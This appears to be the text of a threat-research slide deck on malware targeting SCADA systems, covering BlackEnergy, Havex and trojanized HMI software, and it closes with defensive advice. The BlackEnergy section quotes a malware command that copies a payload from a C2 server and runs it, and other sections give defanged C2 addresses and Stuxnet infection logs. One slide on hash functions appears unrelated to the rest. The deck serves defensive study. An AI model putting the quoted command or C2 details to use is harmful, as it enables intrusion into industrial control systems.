A Virus in Your Pipes: The State of SCADA Malware

Kyle Wilhoit
Sr. Threat Researcher
@lowcalspam
$WHOAMI

• Sr. Threat Researcher on Future Threat Research Team (FTR)

• Previously at Fireeye, a large energy company, and tier 1 ISP

• Focuses on threat intelligence, state-sponsored actors, and offensive "stuff"

• Spoken at Blackhat US, Blackhat EU, Hack in the Box, Derbycon, Infosecurity Europe, etc.

@lowcalspam
Malware Marries SCADA

**Blackenergy (Blacken):** Targeting SCADA-centric victims who are using GE Intelligent Platform’s CIMPLICITY HMI solution suite. Used by **Sandworm Team**

**Havex:** The first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors. Used by **Crouching Yeti**

**Trojanized SCADA Software:** First identified in early 2014. Used by **criminals**
Malware With SCADA: Over The Years

Malware With SCADA Functionality

2010 2011 2012 2013 2014
Vulnerabilities With SCADA: Over The Years

• 949 Total
Why Attack SCADA?
Sandworm...Who Are They?

• Targeting of SCADA systems may show some sort of reconnaissance work for future attack

• Supposedly Russian in origin

• Used CVE-2014-0751 as a zero-day, prior to public disclosure

• Used “drive-by” scanning, looking for HMI machines on the Internet
Sandworm Team Targets

- NATO Ukrainian government organizations
- Western European government organization
- Energy Sector firms (specifically in Poland)
- European telecommunications firms
- United States academic organizations
- Large Energy Provider in Middle East
BlackEnergy...What Is It?

- BlackEnergy started as a crimeware tool
- Multiple versions exist (BE2, BlackEnergyLite, and BE3)
- Slowly migrated to utilize “banking trojan” and DoS functionality
- Utilizes plugin functionality, making it very modular
- Starting in mid-2013, we saw evidence of targeted attackers utilizing BE
- “Sandworm” uses modified BlackEnergy 2/3
Sandworm…The SCADA Connection…Cimplicity

• Pivoted off iSight’s IOC’s and found SCADA connections

• Observed this team utilizing .cim and .bcl files as attack vectors, both of which file types are used by the CIMPLICITY software. Blackenergy 2/3 usage
Main Components Related to SCADA- Black Energy 2/3
Config.bak

• Designed to download and execute the BlackEnergy payload “default.txt”

• Execution of config.bak saves default.txt to %CIMPATH%\CimCMSSafegs.exe, in which %CIMPATH% is an environment variable created GE’s HMI- Cimplicity.

• CimCMSSafegs.exe is Black Energy

• Interesting strings: cmd.exe /c "copy \194[.]185[.]85[.]122\public\default.txt "%CIMPATH%\CimCMSSafegs.exe" && start "WOW64" "%CIMPATH%\CimCMSSafegs.exe""
The default.txt file copied from the C2 drops and executes %Startup% \flashplayerapp.exe, then deletes itself after execution. Flashplayerapp.exe is capable of issuing the following commands:

- exec
- lexec
- die
- getup
- turnoff
- chprt
Devlist.cim

• Opens immediately after execution

• Downloads newsfeed.xml file from hxxp://94[.]185[.]85[.]122/newsfeed.xml

• Category.xml is further downloaded, which contains C2 information for a file called CimWrapPNPS.exe

• CimWrapPNPS.exe is a BlackEnergy installer that executes then deletes itself
Interesting DLL’s
DLL’s

• Each of the following DLL’s are plugins

• Used for modular functionality

• Keeps only wanted features implemented
Ss.dll

• Screenshot and camera capture tool

• Takes in three arguments:
  - ulssstart/ssstop/csstart/csstop
  - Number of screenshots to take (* for continuous)
  - How long to sleep in between each screenshot.
scan.dll

• Packet capture and storage tool
• Similar to NMap
vs.dll

• Plugin used for spreading via network shares
• PSexec.exe (Sysinternal tool) is embedded
• Credentials, shares, drives, devices are enumerated
cert.dll

- Looks for all certs on the system
- Looks for certs added to the system by the user
- Sends the data about certs back to C2
- Does not send cert itself back to C2
Crouching Yeti…
What is Havex?

- Simple PHP RAT
- Used Heavily in “Crouching Yeti” Campaign
- Infection Vectors: Spear Phished Email, Trojanized Software, and Watering Hole Attacks
- Used in ICS Attacks in 2014
Crouching Yeti Infection Vectors

- Delivery via re-packaged, valid software installers
Welcome to the eCatcher Setup Wizard

This will install eCatcher version eCatcher 4.0.0.13073 on your computer.

It is recommended that you close all other applications before continuing.

Click Next to continue, or Cancel to exit Setup.
Watering Holes

- Utilizes LightsOut exploit kit
- Lame...Uses modified Metasploit Java exploits 😞
- CVE-2012-1723, CVE-2012-0422, CVE-2012-5076, CVE-2012-3465, etc.
Spear Phishing

- Utilizes PDF/SWF vulnerability: CVE-2011-0611

- PDF drops and XML Data Package containing the Havex DLL payload

- PDF also contains two encrypted files: The Havex DLL and a JAR file used to execute the Havex DLL

- Shellcode is then executed
Port Scanning Example

- Grab Contacts
- Sysinfo Grab
- **OPC/SCADA Scanning**
- PW Dropper and Cred Harvesting
- Exfil
Caught... In The Cookie Jar
PW Stealer Example

- Grab Contacts
- Sysinfo Grab
- OPC/SCADA Scanning
- PW Dropper and Cred Harvesting
- Exfil
PW Stealer
Additional Scanner

• “scanner”.exe
• Port Scanner
• Specific SCADA ports
• Auto-detect SSL traffic functionality

[Received new connection on port: 44818.]
[Redirecting a socket destined for 192.168.132.150 to localhost.]

[Received new connection on port: 502.]
[Redirecting a socket destined for 192.168.132.150 to localhost.]

[Received new connection on port: 102.]
[Redirecting a socket destined for 192.168.132.150 to localhost.]

[Received new connection on port: 11234.]
[Redirecting a socket destined for 192.168.132.150 to localhost.]
Trojanized Software

THAT MOMENT WHEN YOU REALISE IT SPELLS HORSE.
Trojanized SCADA Software

• Classified as “crimeware”

• Shows *some* experience or knowledge in SCADA (Or the ability to Google… 😊)

• Some degree of *targeted* nature since they are using SCADA naming conventions

• Noticed WinCC, Advantech, and Cimplicity

• All samples “sourced” from CN or TW

• NOT BLACKENERGY RELATED

• NOT HAVEX RELATED
WHY?

• Easy…Engineers will click on stuff
• Unpatched, etc.
• Wealth of boxes to act as “zombies” for a botnet or the like
• Possible sale of access to an ICS environment?
Trojanized Samples - Advantech

- 24 Samples
Trojanized Samples- WinCC

- 32 Samples
Trojanized Samples- Cimplicity

- 9 Samples
- Ramnit samples avoid Cuckoo

- Sality 44%
- Ramnit 56%
Example File Names

- CCWinCCOLEDBProvider.dll
- TraveServer.exe
- HMIServer.exe
- TouchInput.dll
- TouchInputPC.dll
- Stub32i.exe
- RedundancyControl.exe
- HMISmartStart.exe
- IAlarmDATACollector.exe
- CCAlglAlarmDataCollector.exe
- CCRunRedCodiCS.exe (Run Redundancy Coordinator)
Custom Malware
Custom Malware

• Custom built

• Mimics that of Havex RAT

• Fully Undetectable

• Full RAT functionality

• Disguised as Peak HMI installer

• Used Bozok’s RAT server
Hash Functions

Calculate a hash (aka message digest) of data. Implementations are from Sun (java.security.MessageDigest) and GNU.

If you want to get the hash of a file in a form that is easier to use in automated systems, try the online md5sum tool.
Future?

- DUQU 2. Maybe?
- Stuxnet? Meh.
- Continuation of trojanized software

```
------- STUXNET INFECTION -------
ID: F6A01E50-AF89-4081-9338-B6E27731FFD5
Main IP: 188.245.250.173
OS: Windows 5.1
Service Pack: 3
Scada installed: Yes!
Computer: GERDOO-7A1D2321
Domain: MSHOME
IP Interface 1: 188.245.250.173
IP Interface 2: 192.168.1.5
S7P: C:\Program Files\Siemens\Step7\S7Proj\04082_1\040825.s7p

------- STUXNET INFECTION -------
ID: 03C2BE5B-8C9F-4BF2-83AE-0102PEF9B19C
Main IP: 169.254.124.74
OS: Windows 5.1
Service Pack: 3
Scada installed: Yes!
Computer: NEWTECH
Domain: WORKGROUP
IP Interface 1: 169.254.124.74
IP Interface 2: 213.217.45.94
S7P: C:\Program Files\Siemens\Step7\S7Proj\04082_1\040825.s7p
```

C/O Kleissner and Associates
Defense

- Anti-malware solutions (Where applicable)
- Network segmentation to prevent lateral movement
- Spam filtering
- Patch (Where applicable)
- Whitelisting processes/applications
IOCs & Contact

@lowcalspam

kylewilhoit@gmail.com